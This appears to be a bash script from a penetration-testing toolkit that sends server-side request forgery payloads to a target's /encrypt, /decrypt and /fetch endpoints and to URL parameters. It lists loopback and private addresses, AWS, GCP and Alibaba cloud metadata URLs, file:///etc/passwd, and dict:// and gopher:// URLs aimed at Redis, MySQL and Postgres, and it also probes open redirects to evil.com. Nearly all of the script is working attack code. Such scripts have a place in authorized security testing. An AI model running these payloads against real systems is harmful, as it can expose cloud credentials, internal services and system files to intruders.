| 1 |
| 2 |
| 3 |
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" |
| 4 |
source "$SCRIPT_DIR/../config.sh" |
| 5 |
OUT="$OUT/ssrf" |
| 6 |
mkdir -p "$OUT" |
| 7 |
|
| 8 |
echo '=== SSRF TESTS ===' | tee "$OUT/summary.txt" |
| 9 |
|
| 10 |
SSRF_PAYLOADS=( |
| 11 |
'http://127.0.0.1/' |
| 12 |
"http://127.0.0.1:${INTERNAL_API_PORT}/" |
| 13 |
"http://127.0.0.1:${PROXY_ADMIN_PORT}/metrics" |
| 14 |
'http://127.0.0.1:5432/' |
| 15 |
'http://localhost/' |
| 16 |
'http://0.0.0.0/' |
| 17 |
'http://[::1]/' |
| 18 |
"http://[::1]:${INTERNAL_API_PORT}/" |
| 19 |
'http://[::ffff:127.0.0.1]/' |
| 20 |
'http://[::ffff:7f00:1]/' |
| 21 |
'http://[0:0:0:0:0:ffff:127.0.0.1]/' |
| 22 |
'http://169.254.169.254/latest/meta-data/' |
| 23 |
'http://[fd00:ec2::254]/latest/meta-data/' |
| 24 |
'http://metadata.google.internal/' |
| 25 |
'http://[fd00:ec2::254]/computeMetadata/v1/' |
| 26 |
'http://100.100.100.200/latest/meta-data/' |
| 27 |
'http://10.0.0.1/' |
| 28 |
'http://192.168.1.1/' |
| 29 |
'http://172.16.0.1/' |
| 30 |
'file:///etc/passwd' |
| 31 |
'dict://127.0.0.1:6379/info' |
| 32 |
'dict://[::1]:6379/info' |
| 33 |
'gopher://127.0.0.1:3306/_' |
| 34 |
'gopher://[::1]:5432/_' |
| 35 |
) |
| 36 |
|
| 37 |
for ep in '/encrypt' '/decrypt'; do |
| 38 |
echo '' | tee -a "$OUT/summary.txt" |
| 39 |
echo "--- SSRF via $ep ---" | tee -a "$OUT/summary.txt" |
| 40 |
for url in "${SSRF_PAYLOADS[@]}"; do |
| 41 |
resp=$(curl -sk -o "$OUT/ssrf_resp.txt" -w '%{http_code}' --max-time 8 -X POST -H 'Content-Type: application/json' -d "{\"url\":\"$url\",\"data\":\"$url\"}" "$API_TARGET$ep") |
| 42 |
body_peek=$(head -c 100 "$OUT/ssrf_resp.txt" 2>/dev/null | tr -d '\n') |
| 43 |
echo "[$resp] $url | $body_peek" | tee -a "$OUT/summary.txt" |
| 44 |
done |
| 45 |
done |
| 46 |
|
| 47 |
| 48 |
echo '' | tee -a "$OUT/summary.txt" |
| 49 |
echo '--- Open Redirect ---' | tee -a "$OUT/summary.txt" |
| 50 |
REDIRECTS=('//evil.com' 'https://evil.com' '/\evil.com' '/%09/evil.com' '///evil.com') |
| 51 |
for r in "${REDIRECTS[@]}"; do |
| 52 |
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$r'))" 2>/dev/null || echo "$r") |
| 53 |
resp=$(curl -sk -o /dev/null -w '%{http_code} %{redirect_url}' --max-time 8 "$TARGET/?redirect=$encoded" "$TARGET/?next=$encoded" "$TARGET/?url=$encoded") |
| 54 |
echo "$resp -> $r" | tee -a "$OUT/summary.txt" |
| 55 |
done |
| 56 |
|
| 57 |
cat "$OUT/summary.txt" |
| 58 |
|
| 59 |
| 60 |
OUT_FILE="${OUT}/08_ssrf.txt" |
| 61 |
[ ! -f "$OUT_FILE" ] && OUT_FILE="${OUT}/ssrf/summary.txt" |
| 62 |
echo "" | tee -a "$OUT_FILE" |
| 63 |
echo "--- DNS Rebinding Surface ---" | tee -a "$OUT_FILE" |
| 64 |
|
| 65 |
| 66 |
| 67 |
| 68 |
| 69 |
|
| 70 |
PRIVATE_URLS=( |
| 71 |
"http://127.0.0.1/" |
| 72 |
"http://127.0.0.1:${INTERNAL_API_PORT}/status" |
| 73 |
"http://127.0.0.1:${PROXY_ADMIN_PORT}/metrics" |
| 74 |
"http://0.0.0.0/" |
| 75 |
"http://[::1]/" |
| 76 |
"http://localhost/" |
| 77 |
"http://localhost:${INTERNAL_API_PORT}/" |
| 78 |
"http://10.0.0.1/" |
| 79 |
"http://192.168.1.1/" |
| 80 |
"http://172.16.0.1/" |
| 81 |
) |
| 82 |
|
| 83 |
for PRIV_URL in "${PRIVATE_URLS[@]}"; do |
| 84 |
ENC=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PRIV_URL") |
| 85 |
| 86 |
for PARAM in url redirect src fetch target callback webhook; do |
| 87 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 \ |
| 88 |
-A "$BROWSER_UA" "$TARGET/?${PARAM}=${ENC}" 2>/dev/null) |
| 89 |
[ "$CODE" = "200" ] && printf ' [SSRF-HIT] ?%s=%s โ 200\n' "$PARAM" "$PRIV_URL" | tee -a "$OUT_FILE" |
| 90 |
done |
| 91 |
| 92 |
PAYLOAD=$(python3 -c "import json,sys; print(json.dumps({'url': sys.argv[1]}))" "$PRIV_URL") |
| 93 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 \ |
| 94 |
-X POST -H 'Content-Type: application/json' \ |
| 95 |
-A "$BROWSER_UA" -d "$PAYLOAD" "$API_TARGET/fetch" 2>/dev/null) |
| 96 |
[ "$CODE" = "200" ] && printf ' [SSRF-HIT] POST /fetch url=%s โ 200\n' "$PRIV_URL" | tee -a "$OUT_FILE" |
| 97 |
done |
| 98 |
echo " DNS rebinding surface check complete (200 responses above = SSRF candidate)" | tee -a "$OUT_FILE" |
| 99 |
|
| 100 |
| 101 |
| 102 |
| 103 |
REDIRECT_TEST=$(curl -sk --http2 --max-redirects 5 -o /dev/null -w '%{redirect_url} %{http_code}' \ |
| 104 |
--max-time 10 -A "$BROWSER_UA" \ |
| 105 |
"$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('http://169.254.169.254/latest/meta-data/'))")" 2>/dev/null) |
| 106 |
echo " Redirect chain on SSRF probe: $REDIRECT_TEST" | tee -a "$OUT_FILE" |
| 107 |
echo "" | tee -a "$OUT_FILE" |
| 108 |
|